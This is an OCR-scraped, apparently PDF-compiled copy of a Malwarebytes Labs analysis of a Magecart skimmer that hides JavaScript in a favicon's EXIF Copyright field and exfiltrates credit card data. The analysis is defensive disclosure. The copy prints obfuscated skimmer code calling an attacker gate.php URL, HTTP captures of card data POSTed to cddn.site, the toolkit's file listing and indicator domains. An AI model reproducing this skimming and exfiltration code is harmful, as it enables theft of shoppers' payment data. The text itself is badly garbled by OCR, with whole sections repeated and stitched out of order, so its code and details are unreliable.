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Web skimmer hides within EXIF metadata, exfiltrates credit cards
via image files | Malwarebytes Labs
By Jérome Segura
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[Raw] [Header Definitions]

GET A1/index php?
hash=
1 ¥ LW RISy 17 g P T L2 A TR
Basebdnencodingi
Client ~
Miscellaneous
Security

Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 3sON | xML |

Response Headers
HTTP#1.1 200 OK
Cache
Entity
Content-Length: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

[Raw] [Header Definitions]

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a
domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.Jcom.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]com

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru

<html>
<script>
var _@x2626 = ["\x5b\x@a\x20\x3I1 W2\ X8a 20\ x32\xBa\x5d ", W22\ 2d\x3I2\WIT\R3IL\KIB\X32",
(function(_8x242ecc, _@x528af@)
var _Bxlelbed = function{_@xlefd9l) {
while (--_@xlefddl) {
_Bx242ecc['push'](_@x242ecc["shift ' 1());

b

4
_Bxlelbed(++_@x528af@);

}{_Bx2626, Buf8));

var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, Bx9a@395 = undefined
_Bx589act = _@x539Act - Bxd; -
var _@x4bsd33 = _Bx2626[_8x5898cf]; _ex4bs433 =Ith:tps:ffyzxi.retfarsfgate.:hp"

"e:uﬁn @x4bgd33;

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.

The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET

request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.
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[Raw] [Header Definitions]

GET A1/index php?
hash=
1 v TIA"-T“ P LR P L g
Basebdiencoding,
Client 'Y
Miscellaneous
Security
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
]

SecFetch-Site; cross-site

Transformer ||Headers | Textiiew | SyntaxView ImageView HexWiew WebView | Auth | Caching |
Cookies | Raw | JsoN | xmL |

[Raw] [Header Definitions]

ContentLength: 35
Miscellaneous

Server: nginxg/1. 14.0 (Ubuntu)
Transport
Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a
domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same

registrar, and was registered within a week of magerates[.Jcom.
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Magerates|.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com

wosus[.]site

Older EXIF skimmer

jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com

towbarchat[.]com
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teamsystems[.]info
j-queries[.]com

Registrant emails

anya.barber56@gmail[ . Jcom
smithlatrice100@yahool[.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru

®), —
- o anya.barbersé@gmail.com

¥
‘' g O
= 9 -
- <~ smithlatricel00@yahoo.com
yxxi.net
Skimmer #3 / ¢ \
f h (%\ f’%\ (%\
220\ 2280 !‘!r ‘!"* !‘!f
‘.‘L ‘.‘L pixasbay.com undecoveria.com  Magentorates.com
cxi‘z.itnet yzxi.net \ l /
% ®
Y -
@ s cddn.site e
» _y EXIF skimmer (1)

f—.‘-"‘\\
rotrnberg.s4715@gmail.com ~—, (‘.A\'i T ‘q__"*
__‘* o jgueryanalise.xyz
wosus.site

sl e s, :
‘!‘}\‘* ‘!}’* ~ Older EXIF Skimmer (#2) (5‘;\‘*

sonol.site webtrans.site

Xeiy.net

jguery-analitycs.com

We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.Jcom) for cddnl.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer

code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).
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<html:>
<script>
var _Bx2626 = [ "\wSbhx@a\x20%x31\x2c\xBahx200x3 2\ xBa\x5d ", "Wa220\x2d\ 3203731\ k3832
(function(_@x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {

_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
¥

_@xlelbeB(++_8x528afa);
H_Bx2625, BxFB));

var _@x5531 = function(_@x5898cf, _8x9a@395) {
_@x589@ct = _@x5398ct - 0x;

var _Bx4b6433 = _Ox2626[_8x5838cf]; _@xdb6433 =l'http5:ff}fzxi.netjars,’gate.php"l
return  @x4b5433:

_@x5898cf = 93, _Bx9a@39% = undefined

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the
first skimmer (see Figure), although it might very well just be a coincidence.

The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET

request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1/index php?

hash=

Client '
Miscellaneous
Security

SecFetch-Dest; image

Sec-Fetch-Mode: no-cors

Sec-Fetch-Site: cross-site

W
Transformer ||Headers | Textiiew | SyntaxView | ImageView | HexWiew | WebView | Auth | Caching |
Cookies | Raw | JsON | xmL |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

Content4Length: 35
M- CE i -

Server: nginxg/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]com.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]Jnet and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]com.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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tnew ps file info ;

e
r

Skimmedcodelloaded
Viatsjstvariable

|:” II; L II; E:IS. L ”:l .

Sdss=p:
surlref=%

Sfavg =

The JavaScript code for the skimmer is obfuscated using the WiseL.oop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]Jnet and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]com.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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tnew ps file info ;

e
r

Skimmedcodelloaded
Viatsjstvariable

|:” II; L II; E:IS. L ”:l .

Sdss=p:
surlref=%

Sfavg =

The JavaScript code for the skimmer is obfuscated using the WiseL.oop PHP JS Obfuscator library, in line with

what we saw on the client-side.

Page 22 of 103


https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/EXIF_PHP.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/EXIF_PHP.png

https://blog.malwarebytes.com /threat-analysis /2020 /06 /web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn][.]site. Two domains (cxizi[.]Jnet and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Itl-bulgaria Ltd.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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tnew ps file info ;
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Viatsjstvariable

|:” II; L II; E:IS. L ”:l .

Sdss=p:
surlref=%

Sfavg =

The JavaScript code for the skimmer is obfuscated using the WiseL.oop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn][.]site. Two domains (cxizi[.]Jnet and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer

Page 34 of 103


https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/Group9.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/Group9.png
https://blog.malwarebytes.com/blog/threat-analysis/2019/12/new-evasion-techniques-found-in-web-skimmers/
https://twitter.com/AffableKraut/status/1265349585100320769?s=20
https://twitter.com/ydklijnsma/status/1064977845582127104?s=20
https://twitter.com/ydklijnsma

https://blog.malwarebytes.com /threat-analysis /2020 /06 /web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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ck[0] .splic({™:") [1]:

[1].splic (", ") [1]-
([realData],

fetch{url,
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It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

